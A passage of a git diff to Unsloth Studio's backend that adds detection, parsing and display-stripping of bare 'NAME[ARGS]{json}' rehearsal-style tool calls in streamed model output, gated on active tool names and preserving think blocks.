@@ -93,6 +105,147 @@ def _active_tool_names(active_tools: list[dict]) -> list[str]:
     return [name for name in names if name]
 
 
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal;
+# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held.
+_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?")
+
+
+def _is_rehearsal_prefix(
+    stripped: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]``
+    rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space
+    means prose. Unrestricted mode accepts any identifier; else NAME must be active."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    if unrestricted:
+        return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None
+    for name in _active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(
+    text: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return (
+        len(tail)
+        if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted)
+        else 0
+    )
+
+
+def _rehearsal_name_start(
+    candidate: str,
+    signal_pos: int,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding
+    bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the
+    signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode)."""
+    if not candidate.startswith("[ARGS]", signal_pos):
+        return signal_pos
+    j = signal_pos
+    while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"):
+        j -= 1
+    if j < signal_pos and (
+        unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools)
+    ):
+        return j
+    return signal_pos
+
+
+def _earliest_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Index where the turn's first genuine tool-call boundary begins, or -1.
+
+    Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal
+    only when an active tool name (any name in unrestricted mode) precedes it, so a
+    literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a
+    real ``NAME[ARGS]`` the boundary is pulled back to NAME."""
+    best = -1
+    for sig in signals:
+        if sig != "[ARGS]":
+            p = candidate.find(sig)
+            if p >= 0 and (best < 0 or p < best):
+                best = p
+            continue
+        from_idx = 0
+        while True:
+            p = candidate.find("[ARGS]", from_idx)
+            if p < 0:
+                break
+            name_start = _rehearsal_name_start(
+                candidate, p, active_tools, unrestricted = unrestricted
+            )
+            if name_start < p:
+                # Genuine ``NAME[ARGS]``: the boundary is the start of NAME.
+                if best < 0 or name_start < best:
+                    best = name_start
+                break
+            # Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found.
+            from_idx = p + len("[ARGS]")
+    return best
+
+
+def _has_genuine_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only
+    when an active tool name (any in unrestricted mode) precedes it. Mirrors the
+    ``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not
+    drain inactive-name prose."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if (
+                _earliest_tool_signal(
+                    candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted
+                )
+                >= 0
+            ):
+                return True
+            continue
+        if sig in candidate:
+            return True
+    return False
+
+
 def strip_tool_markup_streaming(
     text: str,
     *,
@@ -101,25 +254,46 @@ def strip_tool_markup_streaming(
     enabled_tool_names: Optional[set] = None,
 ) -> str:
     """Strip open-ended tool XML from display text without trimming whitespace.
-    ``enabled_tool_names`` gates the markerless Gemma ``call:NAME{...}`` strip so a
-    disabled/example name in prose is kept (mirrors the parser gate)."""
+
+    Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so
+    streaming and final display agree: balanced strips first (nested JSON removed whole),
+    then the guarded function-XML / GLM scans that close at each call's REAL terminator so
+    literal markup inside argument values is data and trailing prose survives. Reasoning
+    ``<think>`` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must
+    not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names``
+    keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose,
+    not a call), matching the parse / detection active-tool gate."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    # Mirror the final strip's scan order so streaming and final display agree:
-    # balanced strips first (nested JSON removed whole), then the guarded
-    # function-XML/GLM scans that close at each call's REAL terminator, so literal
-    # markup inside argument values is data and trailing prose survives. No final
-    # trim so streaming length comparisons hold. Leading Magistral [THINK]...[/THINK]
-    # is dropped (bracket form, not the reasoning channel's <think>); an unclosed
-    # [THINK] holds until [/THINK] so the cleaned text stays monotonic.
+
+    # Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the
+    # ``<think>`` channel) so raw reasoning does not leak into streamed display; an unclosed
+    # leading block is held (dropped to EOF) until its closer streams in.
     text = _strip_mistral_reasoning(text)
-    text = _strip_mistral_closed_calls(text)
-    text = _strip_gemma_wrapperless_calls(text, enabled_tool_names)
-    text = _strip_function_xml_calls(text, final = True)
-    text = _strip_glm_calls(text, final = True)
-    for pat in _TOOL_ALL_PATS:
-        text = pat.sub("", text)
-    return text
+
+    def _seg(segment: str, is_last: bool) -> str:
+        # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+        # strips first, then the guarded function-XML / GLM scans, then the regex arms
+        # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+        # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal strips are name-gated.
+        seg = _strip_mistral_closed_calls(segment)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        seg = _strip_glm_calls(seg, final = is_last)
+        pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if is_last:
+            seg = apply_tool_strip_patterns(
+                seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names
+            )
+        return seg
+
+    # Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then
+    # regrows the cumulative text, corrupting append-by-length consumers.
+    return strip_outside_think(text, _seg)
 
 
 def _strip_tool_markup_final(
@@ -149,23 +323,66 @@ def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set])
 
 _FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
 _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
+# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional
+# render-html card fires for bracket-tag serializations too.
+_MISTRAL_RENDER_NAME_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+_REHEARSAL_RENDER_NAME_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
 
 
 def _detect_render_html_tool_start(content: str) -> bool:
-    """Return True when the first drained tool call is clearly render_html."""
-    function_match = _FUNCTION_SIGNAL_RE.search(content)
-    tool_call_index = content.find("<tool_call>")
-    if not function_match and tool_call_index < 0:
+    """Return True when the FIRST tool call in ``content`` is clearly render_html.
+
+    Covers every serialization the loop executes (XML ``<function=>`` / ``<tool_call>``,
+    Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a
+    render_html marker inside another call's argument is treated as data. Markers inside
+    a ``<think>`` / ``[THINK]`` block are dropped since the parser skips them."""
+    think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in think_spans]
+
+    def _in_think(pos: int) -> bool:
+        if not think_spans:
+            return False
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1]
+
+    def _first_outside(start: int, finder) -> int:
+        # First occurrence at/after ``start`` that is not inside a think span.
+        pos = finder(start)
+        while pos >= 0 and _in_think(pos):
+            pos = finder(pos + 1)
+        return pos
+
+    candidates: list[tuple[int, str]] = []
+    for fm in _FUNCTION_SIGNAL_RE.finditer(content):
+        if not _in_think(fm.start()):
+            candidates.append((fm.start(), fm.group(1)))
+            break
+    tc = _first_outside(0, lambda i: content.find("<tool_call>", i))
+    if tc >= 0:
+        nm = _TOOL_CALL_NAME_RE.search(content[tc:])
+        candidates.append((tc, nm.group(1) if nm else ""))
+    mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i))
+    if mt >= 0:
+        mm = _MISTRAL_RENDER_NAME_RE.match(content, mt)
+        if mm:
+            candidates.append((mt, mm.group(1)))
+        else:
+            # Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the
+            # first call through the parser (it reads top-level names).
+            arr_calls = parse_tool_calls_from_text(content[mt:])
+            if arr_calls:
+                candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or ""))
+    for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content):
+        if not _in_think(rm.start(1)):
+            candidates.append((rm.start(1), rm.group(1)))
+            break
+
+    if not candidates:
         return False
-
-    if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index):
-        return function_match.group(1) == "render_html"
-
-    if tool_call_index >= 0:
-        name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:])
-        return bool(name_match and name_match.group(1) == "render_html")
-
-    return False
+    _pos, name = min(candidates, key = lambda c: c[0])
+    return name == "render_html"
 
 
 def _coerce_arguments_with_provenance(
@@ -256,6 +473,12 @@ def run_safetensors_tool_loop(
         conversation.extend(_auto["messages"])
 
     unrestricted_tools = not tools
+    # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+    # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted.
+    _enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools))
+    # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+    # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+    _detect_tools = [] if unrestricted_tools else list(tools or [])
     tool_controller = ToolLoopController(
         tools = None if unrestricted_tools else tools,
         auto_heal_tool_calls = auto_heal_tool_calls,
@@ -381,18 +604,18 @@ def run_safetensors_tool_loop(
 
             if detect_state == _state_streaming:
                 candidate = cumulative_display + delta
-                signal_pos = -1
-                for sig in tool_xml_signals:
-                    p = candidate.find(sig)
-                    if p >= 0 and (signal_pos < 0 or p < signal_pos):
-                        signal_pos = p
+                # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is
+                # pulled back to NAME so the name is not flushed.
+                signal_pos = _earliest_tool_signal(
+                    candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools
+                )
                 if signal_pos >= 0:
                     before_tool = candidate[:signal_pos]
                     cleaned_before = strip_tool_markup_streaming(
                         before_tool,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = tool_protocol_active,
-                        enabled_tool_names = _enabled_tool_names,
+                        enabled_tool_names = _enabled_names_gate,
                     )
                     if len(cleaned_before) > len(last_emitted):
                         last_emitted = cleaned_before
@@ -423,11 +646,20 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
-                    enabled_tool_names = _enabled_tool_names,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives;
+                # released by later prose or the end-of-stream flush.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
                 continue
 
             # BUFFERING: hold until we know it is not a tool call.
@@ -445,6 +677,34 @@ def run_safetensors_tool_loop(
                 if sig.startswith(stripped):
                     is_prefix = True
                     break
+                # Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS]
+                # counts only with an active NAME so prose is not drained into a no-op.
+                if sig == "[ARGS]":
+                    if (
+                        _earliest_tool_signal(
+                            stripped,
+                            ("[ARGS]",),
+                            _detect_tools,
+                            unrestricted = unrestricted_tools,
+                        )
+                        >= 0
+                    ):
+                        is_match = True
+                        break
+                elif sig.startswith("[") and sig in stripped:
+                    is_match = True
+                    break
+
+            # Split rehearsal: hold the bare name until its [ARGS] arrives and matches above.
+            is_rehearsal_prefix = False
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools)
+            ):
+                is_prefix = True
+                is_rehearsal_prefix = True
 
             # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
             # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
@@ -512,7 +772,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
-                    enabled_tool_names = _enabled_tool_names,
+                    enabled_tool_names = _enabled_names_gate,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -536,7 +796,8 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
-            elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS:
+            elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS):
+                # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short.
                 continue
             else:
                 detect_state = _state_streaming
@@ -545,24 +806,38 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
-                    enabled_tool_names = _enabled_tool_names,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Same trailing-name hold as STREAMING for this first flush out of BUFFERING.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
 
         # Stream finished -- resolve what we collected.
         if cancel_event is not None and cancel_event.is_set():
             return
 
         if detect_state == _state_buffering:
-            # Buffer never resolved -- tool XML or plain content?
+            # Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal
+            # ``foo[ARGS]{...}`` is not parsed.
             stripped = content_buffer.lstrip()
             _bare_eos = strip_llama3_leading_sentinels(stripped)
             if (
                 stripped
                 and tool_protocol_active
-                and any(sig in stripped for sig in tool_xml_signals)
+                and _has_genuine_tool_signal(
+                    stripped,
+                    tool_xml_signals,
+                    _detect_tools,
+                    unrestricted = unrestricted_tools,
+                )
             ):
                 detect_state = _state_draining
             elif tool_protocol_active and _looks_like_enabled_bare_json(
@@ -629,6 +904,17 @@ def run_safetensors_tool_loop(
                 # in full; route-level cleanup still applies the Auto-Heal policy.
                 if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
+                else:
+                    # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real
+                    # prose, release it.
+                    final_clean = strip_tool_markup_streaming(
+                        cumulative_display,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
+                    )
+                    if len(final_clean) > len(last_emitted):
+                        yield {"type": "content", "text": final_clean}
                 yield {"type": "status", "text": ""}
                 return
             tool_calls = safety_tc
@@ -636,19 +922,23 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
-                enabled_tool_names = _enabled_tool_names,
+                enabled_tool_names = _enabled_names_gate,
             )
             logger.info(
                 "Safetensors safety net: parsed %d tool call(s) from streamed content",
                 len(tool_calls),
             )
         else:
-            # DRAINING: parse tool calls out of full content.
+            # DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the
+            # ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to
+            # drain here: a spent one-shot (render_html) is off the active list but its re-emitted
+            # ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of
+            # being dropped into a blank continuation.
             tool_calls = parse_tool_calls_from_text(
                 content_accum,
                 id_offset = next_call_id,
                 allow_incomplete = auto_heal_tool_calls,
-                enabled_tool_names = _enabled_tool_names,
+                enabled_tool_names = _enabled_names_gate,
             )
             if not tool_calls:
                 # Parser found nothing. Auto-Heal-enabled display cleanup
@@ -682,7 +972,7 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
-                enabled_tool_names = _enabled_tool_names,
+                enabled_tool_names = _enabled_names_gate,
             )
 
         if tool_calls:
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index 08a6bf418a..70115e5744 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -41,6 +41,9 @@ TOOL_XML_SIGNALS = (
     "<|python_tag|>",
     "[TOOL_CALLS]",
     "<|tool_call>",
+    # Bare reasoning-rehearsal marker (``name[ARGS]{...}``, no leading [TOOL_CALLS]);
+    # keeps a rehearsed call held in the stream so it is promoted, not leaked as prose.
+    "[ARGS]",
     # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps.
     "<｜tool▁calls▁begin｜>",
     "<｜tool▁call▁begin｜>",
@@ -90,7 +93,7 @@ _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
     # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops.
     re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
     re.compile(
-        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*[\[{])|\s*$).*$",
+        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*(?:[\[{]|\s*$))|\s*$).*$",
         re.DOTALL,
     ),
     re.compile(
@@ -572,26 +575,51 @@ def strip_tool_markup(
     enabled_tool_names: Optional[set] = None,
 ) -> str:
     """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered;
-    ``final=True`` also drops trailing unclosed runs and trims. ``enabled_tool_names``
-    gates the markerless Gemma ``call:NAME{...}`` strip so a disabled/example name in
-    prose is kept (mirrors the parser gate); ``None`` strips every closed call."""
+    ``final=True`` also drops trailing unclosed runs and trims.
+
+    ``enabled_tool_names`` gates the name-conditioned forms so a disabled/example name in
+    prose is kept (mirrors the parser gate): the bare reasoning-rehearsal ``name[ARGS]{...}``
+    and the markerless Gemma ``call:NAME{...}`` strip. ``None`` strips every closed call.
+    """
     if final:
         # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket
         # form is not the ``<think>`` the reasoning channel renders.
         text = _strip_mistral_reasoning(text)
-    text = _strip_mistral_closed_calls(text)
-    if final:
-        text = _strip_gemma_wrapperless_calls(text, enabled_tool_names)
-    # Scan-strip the function-XML form (a literal ``<function=...>`` inside a value is
-    # data). The regex arms below cover the other formats but no-op on function calls here.
-    text = _strip_function_xml_calls(text, final = final)
-    # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
-    # not a leak. Qwen <tool_call>{json} is left to the regex arms.
-    text = _strip_glm_calls(text, final = final)
-    pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in pats:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+
+    def _strip_segment(segment: str, is_last: bool) -> str:
+        seg_final = final and is_last
+        seg = _strip_mistral_closed_calls(segment)
+        # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through
+        # the shared balanced scan, so strip them the same way (any nesting depth removed whole).
+        # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept.
+        seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if seg_final:
+            # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only.
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        # Scan-strip the function-XML form (parser-accurate: a literal ``<function=...>`` in a
+        # value is data, not a call); the regex arms below cover the other formats.
+        seg = _strip_function_xml_calls(seg, final = seg_final)
+        # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
+        # not a leak. Qwen <tool_call>{json} is left to the regex arms.
+        seg = _strip_glm_calls(seg, final = seg_final)
+        pats = _TOOL_ALL_PATS if seg_final else _TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if seg_final:
+            # Drop a trailing partial bare rehearsal (``name[ARGS]`` with a truncated or absent
+            # body) the balanced scan cannot close; gated so prose ``foo[ARGS] ...`` survives.
+            seg = _tool_healing.apply_tool_strip_patterns(
+                seg,
+                [_tool_healing._REHEARSAL_TAIL_STRIP_RE],
+                enabled_tool_names = enabled_tool_names,
+            )
+        return seg
+
+    # ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (a rehearsed call inside it is
+    # not executed, so it must not be stripped from display either); a literal think marker
+    # inside a real call's arguments is that call's data and is stripped with the call.
+    result = _tool_healing.strip_outside_think(text, _strip_segment)
+    return result.strip() if final else result
 
 
 def has_tool_signal(text: str) -> bool:
@@ -711,6 +739,41 @@ def _xml_signal_inside_leading_mistral(content: str) -> bool:
     return _mistral_region_end(content, trig) is not None
 
 
+def _parse_bare_rehearsals(
+    content: str,
+    *,
+    id_offset: int = 0,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Promote bare reasoning-rehearsal ``name[ARGS]{json}`` calls that a leading [TOOL_CALLS]
+    owns-the-turn parse would miss. Only the ``rehearsal`` kind is taken (a Mistral
+    ``[TOOL_CALLS]name[ARGS]{..}`` yields ``name`` and is not double-counted), and a rehearsal
+    inside a ``<think>`` / ``[THINK]`` block is reasoning, so it is skipped."""
+    out: list[dict] = []
+    think_spans = _tool_healing._think_spans_outside_tool_markup(content)
+    for start, end, kind, m in _tool_healing._iter_bracket_spans(
+        content, enabled_tool_names = enabled_tool_names
+    ):
+        if kind != "rehearsal":
+            continue
+        if any(s <= start < e for s, e in think_spans):
+            continue
+        try:
+            payload = json.loads(content[m.end() : end])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        if not isinstance(payload, dict):
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": m.group(1), "arguments": json.dumps(payload)},
+            }
+        )
+    return out
+
+
 _ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
 
 
@@ -919,6 +982,16 @@ def parse_tool_calls_from_text(
             content, id_offset = id_offset, allow_incomplete = allow_incomplete
         )
         if calls:
+            # A bare rehearsal ``name[ARGS]{..}`` after the Mistral call is a peer tool call,
+            # not foreign XML the owns-the-turn guard protects against: promote it too so a
+            # Mistral call and a rehearsal in one message both parse.
+            calls.extend(
+                _parse_bare_rehearsals(
+                    content,
+                    id_offset = id_offset + len(calls),
+                    enabled_tool_names = enabled_tool_names,
+                )
+            )
             return calls
 
     # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope
@@ -984,13 +1057,16 @@ def parse_tool_calls_from_text(
             if calls:
                 return calls
 
-    # Qwen/Hermes, Qwen3.5 XML, and Gemma 4 go through the shared tool_healing
-    # parser (strict/Auto-Heal contract + nested-marker, trailing-prose, and
-    # ``<|"|>`` quoted-string handling the GGUF path relies on).
+    # Qwen/Hermes, Qwen3.5 XML, Gemma 4, plus Mistral [TOOL_CALLS] / bare rehearsal
+    # ``name[ARGS]{json}`` use the shared tool_healing parser (strict/Auto-Heal contract +
+    # nested-marker, trailing-prose, and ``<|"|>`` quoted-string handling the GGUF path
+    # relies on). ``enabled_tool_names`` gates the ambiguous bare-rehearsal form so an
+    # inactive ``foo[ARGS]{..}`` stays prose.
     calls = _tool_healing.parse_tool_calls_from_text(
         content,
         id_offset = id_offset,
         allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
     )
     if calls:
         return calls
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index b91403ed57..1b6b05768a 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -1,38 +1,91 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+#
+# Bracket-tag, rehearsal, and thinking-block-strip logic adapted from forge
+# (https://github.com/antoinezambelli/forge), Copyright (c) 2025-2026
+# Antoine Zambelli, used under the MIT License.
 
-"""Lightweight tool-call XML parsing and stripping helpers.
+"""Lightweight tool-call parsing and stripping helpers.
 
 External inference servers import this module without pulling in the inference
-orchestrator, structlog, httpx, or the rest of the studio backend.
+orchestrator, structlog, httpx, or the rest of the studio backend. Kept in
+lockstep with ``core/inference/tool_call_parser.py`` so those servers
+(llama-server wrappers, llama-swap, custom shims) reuse the same logic. Any
+change here must also land there.
+
+Handles these serializations (see ``parse_tool_calls_from_text``):
+
+* ``<tool_call>{json}</tool_call>``
+* ``<|tool_call>call:name{...}<tool_call|>`` (Gemma)
+* ``<function=name><parameter=k>v</parameter></function>``
+* ``[TOOL_CALLS]name{json}`` (Mistral / Devstral fallback)
+* ``name[ARGS]{json}`` (reasoning-model rehearsal)
 """
 
+# PEP 604 annotations must stay import-safe on Python 3.9 (requires-python >=3.9).
+from __future__ import annotations
+
+import bisect
 import json
 import re
 
-# Strip patterns. The name-class hyphen matches dashed MCP names. Closed pairs
-# strip first so a closed call goes as a unit before any to-EOF sweep reaches
-# nested markup; only the final list adds the .*$ EOF sweeps.
+# One nesting level in the strip regexes; deeper may leak markup (still parsed).
+_BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}"
+
+# Rehearsal ``name[ARGS]{..}`` strips; group 1 = name for tool-list gating. Closed =
+# complete body, tail = truncated; ``(?<!\[CALL_ID\])`` keeps the v11 call-id from reading as a name.
+_REHEARSAL_CLOSED_STRIP_RE = re.compile(
+    r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*" + _BRACKETED_JSON_ONE_LEVEL, re.DOTALL
+)
+_REHEARSAL_TAIL_STRIP_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?:\{.*)?$", re.DOTALL)
+
+# Tool-XML strip patterns; hyphen in the name class covers dashed MCP names.
+# Closed-pair patterns are named so _PAT_REQUIRED_TOKEN can skip a doomed lazy rescan when
+# the close token is absent: an unguarded ``<tag>.*?</tag>`` rescans to EOF from every opener
+# (quadratic on a stream of unclosed openers). Also reused by the quote-aware Gemma pre-pass.
 _TC_JSON_CLOSED_PAT = re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL)
 _TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL)
 _TC_FUNC_CLOSED_PAT = re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL)
-_TC_GEMMA_END_PAT = re.compile(r"<tool_call\|>")
 _TOOL_CLOSED_PATS = [
     _TC_JSON_CLOSED_PAT,
     _TC_GEMMA_CLOSED_PAT,
+    re.compile(r"<tool_call\|>"),
     _TC_FUNC_CLOSED_PAT,
-    _TC_GEMMA_END_PAT,
+    # Mirror the parser regexes: tolerate whitespace and v11 [CALL_ID]/[ARGS] metadata.
+    re.compile(
+        r"\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*"
+        + _BRACKETED_JSON_ONE_LEVEL,
+        re.DOTALL,
+    ),
+    _REHEARSAL_CLOSED_STRIP_RE,
+    # Drop the bare v11 [/TOOL_CALLS] closer the balanced scan leaves behind.
+    re.compile(r"\[/TOOL_CALLS\]"),
 ]
-_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
